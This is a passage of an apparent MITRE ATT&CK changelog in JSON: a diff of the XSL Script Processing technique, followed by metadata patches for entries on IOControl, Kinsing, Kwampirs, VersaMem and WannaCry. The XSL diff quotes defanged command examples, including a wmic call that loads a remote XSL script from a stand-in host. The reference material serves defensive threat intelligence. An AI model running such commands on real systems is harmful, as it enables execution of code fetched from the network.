nowrap=\"nowrap\">e&nbsp;script[.]xsl&nbsp;script[.]xsl&lt;/code&gt;&nbsp;*&nbsp;&lt;code&gt;msxsl.exe&nbsp;script[</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ript[.]xsl&nbsp;script[.]xsl&lt;/code&gt;&nbsp;*&nbsp;&lt;code&gt;msxsl.exe&nbsp;script[.]jp</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.]jpeg&nbsp;script[.]jpeg&lt;/code&gt;&nbsp;&nbsp;Another&nbsp;variation&nbsp;of&nbsp;this&nbsp;techn</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">eg&nbsp;script[.]jpeg&lt;/code&gt;&nbsp;&nbsp;Another&nbsp;variation&nbsp;of&nbsp;this&nbsp;technique</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ique,&nbsp;dubbed&nbsp;\u201cSquiblytwo\u201d,&nbsp;involves&nbsp;using&nbsp;[Windows&nbsp;Managemen</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">,&nbsp;dubbed&nbsp;\u201cSquiblytwo\u201d,&nbsp;involves&nbsp;using&nbsp;[Windows&nbsp;Management&nbsp;In</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;Instrumentation](https://attack.mitre.org/techniques/T1047</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">strumentation](https://attack.mitre.org/techniques/T1047)&nbsp;to</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">)&nbsp;to&nbsp;invoke&nbsp;JScript&nbsp;or&nbsp;VBScript&nbsp;within&nbsp;an&nbsp;XSL&nbsp;file.(Citation</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;invoke&nbsp;JScript&nbsp;or&nbsp;VBScript&nbsp;within&nbsp;an&nbsp;XSL&nbsp;file.(Citation:&nbsp;LO</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">:&nbsp;LOLBAS&nbsp;Wmic)&nbsp;This&nbsp;technique&nbsp;can&nbsp;also&nbsp;execute&nbsp;local/remote&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">LBAS&nbsp;Wmic)&nbsp;This&nbsp;technique&nbsp;can&nbsp;also&nbsp;execute&nbsp;local/remote&nbsp;scri</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">scripts&nbsp;and,&nbsp;similar&nbsp;to&nbsp;its&nbsp;[Regsvr32](https://attack.mitre.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">pts&nbsp;and,&nbsp;similar&nbsp;to&nbsp;its&nbsp;[Regsvr32](https://attack.mitre.org/</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">org/techniques/T1218/010)/&nbsp;\"Squiblydoo\"&nbsp;counterpart,&nbsp;leverag</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">techniques/T1218/010)/&nbsp;\"Squiblydoo\"&nbsp;counterpart,&nbsp;leverages&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">es&nbsp;a&nbsp;trusted,&nbsp;built-in&nbsp;Windows&nbsp;tool.&nbsp;Adversaries&nbsp;may&nbsp;abuse&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;trusted,&nbsp;built-in&nbsp;Windows&nbsp;tool.&nbsp;Adversaries&nbsp;may&nbsp;abuse&nbsp;any&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ny&nbsp;alias&nbsp;in&nbsp;[Windows&nbsp;Management&nbsp;Instrumentation](https://att</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">lias&nbsp;in&nbsp;[Windows&nbsp;Management&nbsp;Instrumentation](https://attack.</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ack.mitre.org/techniques/T1047)&nbsp;provided&nbsp;they&nbsp;utilize&nbsp;the&nbsp;/F</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">mitre.org/techniques/T1047)&nbsp;provided&nbsp;they&nbsp;utilize&nbsp;the&nbsp;/FORMA</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ORMAT&nbsp;switch.(Citation:&nbsp;XSL&nbsp;Bypass&nbsp;Mar&nbsp;2019)&nbsp;&nbsp;Command-line&nbsp;e</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">T&nbsp;switch.(Citation:&nbsp;XSL&nbsp;Bypass&nbsp;Mar&nbsp;2019)&nbsp;&nbsp;Command-line&nbsp;examp</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">xamples:(Citation:&nbsp;XSL&nbsp;Bypass&nbsp;Mar&nbsp;2019)(Citation:&nbsp;LOLBAS&nbsp;Wmi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">les:(Citation:&nbsp;XSL&nbsp;Bypass&nbsp;Mar&nbsp;2019)(Citation:&nbsp;LOLBAS&nbsp;Wmic)&nbsp;&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">c)&nbsp;&nbsp;*&nbsp;Local&nbsp;File:&nbsp;&lt;code&gt;wmic&nbsp;process&nbsp;list&nbsp;/FORMAT:evil[.]xsl</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">*&nbsp;Local&nbsp;File:&nbsp;&lt;code&gt;wmic&nbsp;process&nbsp;list&nbsp;/FORMAT:evil[.]xsl&lt;/co</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&lt;/code&gt;&nbsp;*&nbsp;Remote&nbsp;File:&nbsp;&lt;code&gt;wmic&nbsp;os&nbsp;get&nbsp;/FORMAT:\u201dhttps[:]//</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">de&gt;&nbsp;*&nbsp;Remote&nbsp;File:&nbsp;&lt;code&gt;wmic&nbsp;os&nbsp;get&nbsp;/FORMAT:\u201dhttps[:]//exam</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">example[.]com/evil[.]xsl\u201d&lt;/code&gt;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ple[.]com/evil[.]xsl\u201d&lt;/code&gt;</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1038: Execution Prevention"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0205: Detect XSL Script Abuse via msxsl and wmic"
                        ],
                        "new": [],
                        "dropped": []
                    }
                }
            ],
            "revocations": [],
            "deprecations": [],
            "deletions": []
        },
        "software": {
            "additions": [],
            "major_version_changes": [],
            "minor_version_changes": [],
            "other_version_changes": [],
            "patches": [
                {
                    "type": "malware",
                    "id": "malware--bcd0f2cd-0b21-4109-8310-8a90be320514",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2026-09-02 20:33:19.300000+00:00",
                    "modified": "2026-10-20 15:22:51.476000+00:00",
                    "name": "IOControl",
                    "description": "[IOControl](https://attack.mitre.org/software/S9046) is a Linux backdoor compiled for 32-bit ARM devices that has been used to target IoT and OT devices in Israel and the United States, including IP cameras, routers, firewalls, PLCs, HMIs, and Orpak and Gasboy fuel management systems. Affected vendors include Baicells, D-Link, Hikvision, Phoenix Contact, Red Lion, Teltonika, and Unitronics. [IOControl](https://attack.mitre.org/software/S9046) has been used by [CyberAv3ngers](https://attack.mitre.org/groups/G1027) which is suspected to be affiliated with the Iranian Government Islamic Revolutionary Guard Corps (IRGC).(Citation: Claroty-IOCONTROL)(Citation: Dragos 2025 Year in Review)(Citation: Armis-IOCONTROL)",
                    "revoked": false,
                    "labels": [
                        "malware"
                    ],
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/software/S9046",
                            "external_id": "S9046"
                        },
                        {
                            "source_name": "Claroty-IOCONTROL",
                            "description": "Claroty Team82. (2024, December 10). Inside a New OT/IoT Cyberweapon: IOCONTROL. Retrieved September 2, 2026.",
                            "url": "https://claroty.com/team82/research/inside-a-new-ot-iot-cyber-weapon-iocontrol"
                        },
                        {
                            "source_name": "Dragos 2025 Year in Review",
                            "description": "Dragos. (2026, February). 9TH ANNUAL YEAR IN REVIEW | OT/ICS CYBERSECURITY REPORT . Retrieved April 26, 2026.",
                            "url": "https://5943619.hs-sites.com/hubfs/312-Year-in-Review/2026/Dragos-2026-OT-Cybersecurity-Report-A-Year-in-Review.pdf?hsCtaAttrib=205683189348"
                        },
                        {
                            "source_name": "Armis-IOCONTROL",
                            "description": "Michael Freeman. (2024, December 16). IOControl Malware: What's New, What's Not?. Retrieved September 2, 2026.",
                            "url": "https://www.armis.com/blog/iocontrol-malware-whats-new-whats-not/"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_aliases": [
                        "IOControl"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Yokogawa (Thailand & IT/OT SOC)"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "ics-attack",
                        "enterprise-attack"
                    ],
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_version": "1.0",
                    "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_contributors']\": [\"Yokogawa (Thailand & IT/OT SOC)\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-10-20 15:22:51.476000+00:00\", \"old_value\": \"2026-10-12 16:09:31.637000+00:00\"}, \"root['description']\": {\"new_value\": \"[IOControl](https://attack.mitre.org/software/S9046) is a Linux backdoor compiled for 32-bit ARM devices that has been used to target IoT and OT devices in Israel and the United States, including IP cameras, routers, firewalls, PLCs, HMIs, and Orpak and Gasboy fuel management systems. Affected vendors include Baicells, D-Link, Hikvision, Phoenix Contact, Red Lion, Teltonika, and Unitronics. [IOControl](https://attack.mitre.org/software/S9046) has been used by [CyberAv3ngers](https://attack.mitre.org/groups/G1027) which is suspected to be affiliated with the Iranian Government Islamic Revolutionary Guard Corps (IRGC).(Citation: Claroty-IOCONTROL)(Citation: Dragos 2025 Year in Review)(Citation: Armis-IOCONTROL)\", \"old_value\": \"IOControl is a malware that targeted Linux ARM-based IoT/OT devices including Hikvision IP cameras, D-Link firewalls and routers, Unitronics PLCs and HMIs, Orpak and Gasboy fuel management systems, and Baicells LTE controllers across the United States and Israel. The malware has been attributed to [CyberAv3ngers](https://attack.mitre.org/groups/G1027) which is suspected to be affiliated with the Iranian Government Islamic Revolutionary Guard Corps (IRGC).(Citation: Claroty-IOCONTROL)(Citation: Dragos 2025 Year in Review)(Citation: Armis-IOCONTROL)\"}}}",
                    "previous_version": "1.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to163__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to163__0\"><a href=\"#difflib_chg_to163__top\">t</a></td><td class=\"diff_header\" id=\"from163_1\">1</td><td nowrap=\"nowrap\"><span class=\"diff_sub\">IOControl&nbsp;is&nbsp;a&nbsp;malware&nbsp;that&nbsp;targeted&nbsp;Linux&nbsp;ARM-based&nbsp;IoT/OT&nbsp;</span></td><td class=\"diff_next\"><a href=\"#difflib_chg_to163__top\">t</a></td><td class=\"diff_header\" id=\"to163_1\">1</td><td nowrap=\"nowrap\"><span class=\"diff_add\">[IOControl](https://attack.mitre.org/software/S9046)&nbsp;is&nbsp;a&nbsp;Li</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_sub\">devices&nbsp;including&nbsp;Hikvision&nbsp;IP&nbsp;cameras,&nbsp;D-Link&nbsp;firewalls&nbsp;and</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_add\">nux&nbsp;backdoor&nbsp;compiled&nbsp;for&nbsp;32-bit&nbsp;ARM&nbsp;devices&nbsp;that&nbsp;has&nbsp;been&nbsp;u</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_sub\">&nbsp;routers,&nbsp;Unitronics&nbsp;PLCs&nbsp;and&nbsp;HMIs,&nbsp;Orpak&nbsp;and&nbsp;Gasboy&nbsp;fuel&nbsp;ma</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_add\">sed&nbsp;to&nbsp;target&nbsp;IoT&nbsp;and&nbsp;OT&nbsp;devices&nbsp;in&nbsp;Israel&nbsp;and&nbsp;the&nbsp;United&nbsp;St</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_sub\">nagement&nbsp;systems,&nbsp;and&nbsp;Baicells&nbsp;LTE&nbsp;controllers&nbsp;across&nbsp;the&nbsp;Un</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_add\">ates,&nbsp;including&nbsp;IP&nbsp;cameras,&nbsp;routers,&nbsp;firewalls,&nbsp;PLCs,&nbsp;HMIs,&nbsp;</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_sub\">ited&nbsp;States&nbsp;and&nbsp;Israel.&nbsp;The&nbsp;malware&nbsp;has&nbsp;been&nbsp;attributed&nbsp;to&nbsp;[</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_add\">and&nbsp;Orpak&nbsp;and&nbsp;Gasboy&nbsp;fuel&nbsp;management&nbsp;systems.&nbsp;Affected&nbsp;vendo</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_sub\">CyberAv3ngers](https://attack.mitre.org/groups/G1027)&nbsp;which&nbsp;</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_add\">rs&nbsp;include&nbsp;Baicells,&nbsp;D-Link,&nbsp;Hikvision,&nbsp;Phoenix&nbsp;Contact,&nbsp;Red</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_sub\">is&nbsp;suspected&nbsp;to&nbsp;be&nbsp;affiliated&nbsp;with&nbsp;the&nbsp;Iranian&nbsp;Government&nbsp;Is</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_add\">&nbsp;Lion,&nbsp;Teltonika,&nbsp;and&nbsp;Unitronics.&nbsp;[IOControl](https://attack</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_sub\">lamic&nbsp;Revolutionary&nbsp;Guard&nbsp;Corps&nbsp;(IRGC).(Citation:&nbsp;Claroty-IO</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_add\">.mitre.org/software/S9046)&nbsp;has&nbsp;been&nbsp;used&nbsp;by&nbsp;[CyberAv3ngers](</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_sub\">CONTROL)(Citation:&nbsp;Dragos&nbsp;2025&nbsp;Year&nbsp;in&nbsp;Review)(Citation:&nbsp;Arm</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_add\">https://attack.mitre.org/groups/G1027)&nbsp;which&nbsp;is&nbsp;suspected&nbsp;to</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_sub\">is-IOCONTROL)</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_add\">&nbsp;be&nbsp;affiliated&nbsp;with&nbsp;the&nbsp;Iranian&nbsp;Government&nbsp;Islamic&nbsp;Revolutio</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\"></td><td nowrap=\"nowrap\">&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_add\">nary&nbsp;Guard&nbsp;Corps&nbsp;(IRGC).(Citation:&nbsp;Claroty-IOCONTROL)(Citati</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\"></td><td nowrap=\"nowrap\">&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_add\">on:&nbsp;Dragos&nbsp;2025&nbsp;Year&nbsp;in&nbsp;Review)(Citation:&nbsp;Armis-IOCONTROL)</span></td></tr>\n        </tbody>\n    </table>"
                },
                {
                    "type": "malware",
                    "id": "malware--d6e55656-e43f-411f-a7af-45df650471c5",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2021-04-06 12:22:23.447000+00:00",
                    "modified": "2026-10-07 17:57:14.704000+00:00",
                    "name": "Kinsing",
                    "description": "[Kinsing](https://attack.mitre.org/software/S0599) is Golang-based malware that runs a cryptocurrency miner and attempts to spread itself to other hosts in the victim environment. (Citation: Aqua Kinsing April 2020)(Citation: Sysdig Kinsing November 2020)(Citation: Aqua Security Cloud Native Threat Report June 2021)",
                    "revoked": false,
                    "labels": [
                        "malware"
                    ],
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/software/S0599",
                            "external_id": "S0599"
                        },
                        {
                            "source_name": "Sysdig Kinsing November 2020",
                            "description": "Huang, K. (2020, November 23). Zoom into Kinsing. Retrieved April 1, 2021.",
                            "url": "https://sysdig.com/blog/zoom-into-kinsing-kdevtmpfsi/"
                        },
                        {
                            "source_name": "Aqua Kinsing April 2020",
                            "description": "Singer, G. (2020, April 3). Threat Alert: Kinsing Malware Attacks Targeting Container Environments. Retrieved April 1, 2021.",
                            "url": "https://blog.aquasec.com/threat-alert-kinsing-malware-container-vulnerability"
                        },
                        {
                            "source_name": "Aqua Security Cloud Native Threat Report June 2021",
                            "description": "Team Nautilus. (2021, June). Attacks in the Wild on the Container Supply Chain and Infrastructure. Retrieved October 7, 2026.",
                            "url": "https://web.archive.org/web/20220106180157/https://info.aquasec.com/hubfs/Threat%20reports/AquaSecurity_Cloud_Native_Threat_Report_2021.pdf"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_aliases": [
                        "Kinsing"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Center for Threat-Informed Defense (CTID)"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Containers",
                        "Linux"
                    ],
                    "x_mitre_version": "1.1",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-10-07 17:57:14.704000+00:00\", \"old_value\": \"2025-04-25 14:44:48.521000+00:00\"}, \"root['external_references'][3]['description']\": {\"new_value\": \"Team Nautilus. (2021, June). Attacks in the Wild on the Container Supply Chain and Infrastructure. Retrieved October 7, 2026.\", \"old_value\": \"Team Nautilus. (2021, June). Attacks in the Wild on the Container Supply Chain and Infrastructure. Retrieved August 26, 2021.\"}, \"root['external_references'][3]['url']\": {\"new_value\": \"https://web.archive.org/web/20220106180157/https://info.aquasec.com/hubfs/Threat%20reports/AquaSecurity_Cloud_Native_Threat_Report_2021.pdf\", \"old_value\": \"https://info.aquasec.com/hubfs/Threat%20reports/AquaSecurity_Cloud_Native_Threat_Report_2021.pdf?utm_campaign=WP%20-%20Jun2021%20Nautilus%202021%20Threat%20Research%20Report&utm_medium=email&_hsmi=132931006&_hsenc=p2ANqtz-_8oopT5Uhqab8B7kE0l3iFo1koirxtyfTehxF7N-EdGYrwk30gfiwp5SiNlW3G0TNKZxUcDkYOtwQ9S6nNVNyEO-Dgrw&utm_content=132931006&utm_source=hs_automation\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}}",
                    "previous_version": "1.1"
                },
                {
                    "type": "malware",
                    "id": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2018-10-17 00:14:20.652000+00:00",
                    "modified": "2026-11-02 16:23:35.738000+00:00",
                    "name": "Kwampirs",
                    "description": "[Kwampirs](https://attack.mitre.org/software/S0236) is a backdoor Trojan used by [Orangeworm](https://attack.mitre.org/groups/G0071). [Kwampirs](https://attack.mitre.org/software/S0236) has been found on machines which had software installed for the use and control of high-tech imaging devices such as X-Ray and MRI machines.(Citation: Symantec Orangeworm April 2018) [Kwampirs](https://attack.mitre.org/software/S0236) has multiple technical overlaps with [Shamoon](https://attack.mitre.org/software/S0140) based on reverse engineering analysis.(Citation: Cylera Kwampirs 2022)",
                    "revoked": false,
                    "labels": [
                        "malware"
                    ],
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/software/S0236",
                            "external_id": "S0236"
                        },
                        {
                            "source_name": "Kwampirs",
                            "description": "(Citation: Symantec Orangeworm April 2018)"
                        },
                        {
                            "source_name": "Cylera Kwampirs 2022",
                            "description": "Pablo Rinc\u00f3n Crespo. (2022, January). The link between Kwampirs (Orangeworm) and Shamoon APTs. Retrieved February 8, 2024.",
                            "url": "https://resources.cylera.com/hubfs/Cylera%20Labs/Cylera%20Labs%20Kwampirs%20Shamoon%20Technical%20Report.pdf"
                        },
                        {
                            "source_name": "Symantec Orangeworm April 2018",
                            "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.",
                            "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_aliases": [
                        "Kwampirs"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Elger Rodrigues, @elgerx"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows"
                    ],
                    "x_mitre_version": "1.2",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-02 16:23:35.738000+00:00\", \"old_value\": \"2024-04-11 01:44:05.770000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_contributors'][0]\": {\"new_value\": \"Elger Rodrigues, @elgerx\", \"old_value\": \"Elger Vinicius S. Rodrigues, @elgervinicius, CYBINT Centre\"}}}",
                    "previous_version": "1.2"
                },
                {
                    "type": "malware",
                    "id": "malware--0a6ec267-83a9-41a5-98c7-57c3ff81e11f",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2024-08-27 19:00:38.548000+00:00",
                    "modified": "2026-11-02 21:09:13.903000+00:00",
                    "name": "VersaMem",
                    "description": "[VersaMem](https://attack.mitre.org/software/S1154) is a web shell designed for deployment to Versa Director servers following exploitation. Discovered in August 2024, [VersaMem](https://attack.mitre.org/software/S1154) was used during [Versa Director Zero Day Exploitation](https://attack.mitre.org/campaigns/C0039) by [Volt Typhoon](https://attack.mitre.org/groups/G1017) to target ISPs and MSPs.  [VersaMem](https://attack.mitre.org/software/S1154) is deployed as a Java Archive (JAR) and allows for credential capture for Versa Director logon activity as well as follow-on execution of arbitrary Java payloads.(Citation: Lumen Versa 2024)",
                    "revoked": false,
                    "labels": [
                        "malware"
                    ],
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/software/S1154",
                            "external_id": "S1154"
                        },
                        {
                            "source_name": "Lumen Versa 2024",
                            "description": "Black Lotus Labs. (2024, August 27). Taking The Crossroads: The Versa Director Zero-Day Exploitaiton. Retrieved August 27, 2024.",
                            "url": "https://www.lumen.com/blog/en-us/uncovering-versa-director-zero-day-exploitation"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_aliases": [
                        "VersaMem"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Network Devices"
                    ],
                    "x_mitre_version": "1.1",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-02 21:09:13.903000+00:00\", \"old_value\": \"2025-04-15 19:46:33.283000+00:00\"}, \"root['external_references'][1]['url']\": {\"new_value\": \"https://www.lumen.com/blog/en-us/uncovering-versa-director-zero-day-exploitation\", \"old_value\": \"https://blog.lumen.com/taking-the-crossroads-the-versa-director-zero-day-exploitation/\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}}",
                    "previous_version": "1.1"
                },
                {
                    "type": "malware",
                    "id": "malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2019-03-25 17:30:17.004000+00:00",
                    "modified": "2026-10-07 19:20:10.980000+00:00",
                    "name": "WannaCry",
                    "description": "[WannaCry](https://attack.mitre.org/software/S0366) is ransomware that was first seen in a global attack during May 2017, which affected more than 150 countries. It contains worm-like features to spread itself across a computer network using the SMBv1 exploit EternalBlue.(Citation: LogRhythm WannaCry)(Citation: US-CERT WannaCry 2017)(Citation: Washington Post WannaCry 2017)(Citation: FireEye WannaCry 2017)",
                    "revoked": false,
                    "labels": [
                        "malware"
                    ],
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/software/S0366",
                            "external_id": "S0366"
                        },
                        {
                            "source_name": "WanaCrypt0r",
                            "description": "(Citation: LogRhythm WannaCry)"
                        },
                        {
                            "source_name": "WCry",
                            "description": "(Citation: LogRhythm WannaCry)(Citation: SecureWorks WannaCry Analysis)"
                        },
                        {
                            "source_name": "WanaCry",
                            "description": "(Citation: SecureWorks WannaCry Analysis)"
                        },
                        {
                            "source_name": "WanaCrypt",
                            "description": "(Citation: SecureWorks WannaCry Analysis)"
                        },
                        {
                            "source_name": "FireEye WannaCry 2017",
                            "description": "Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.",
                            "url": "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html"
                        },
                        {
                            "source_name": "SecureWorks WannaCry Analysis",
                            "description": "Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. Retrieved March 26, 2019.",
                            "url": "https://www.secureworks.com/research/wcry-ransomware-analysis"
                        },
                        {
                            "source_name": "Washington Post WannaCry 2017",
                            "description": "Dwoskin, E. and Adam, K. (2017, May 14). More than 150 countries affected by massive cyberattack, Europol says. Retrieved March 25, 2019.",
                            "url": "https://www.washingtonpost.com/business/economy/more-than-150-countries-affected-by-massive-cyberattack-europol-says/2017/05/14/5091465e-3899-11e7-9e48-c4f199710b69_story.html"
                        },
                        {
                            "source_name": "LogRhythm WannaCry",
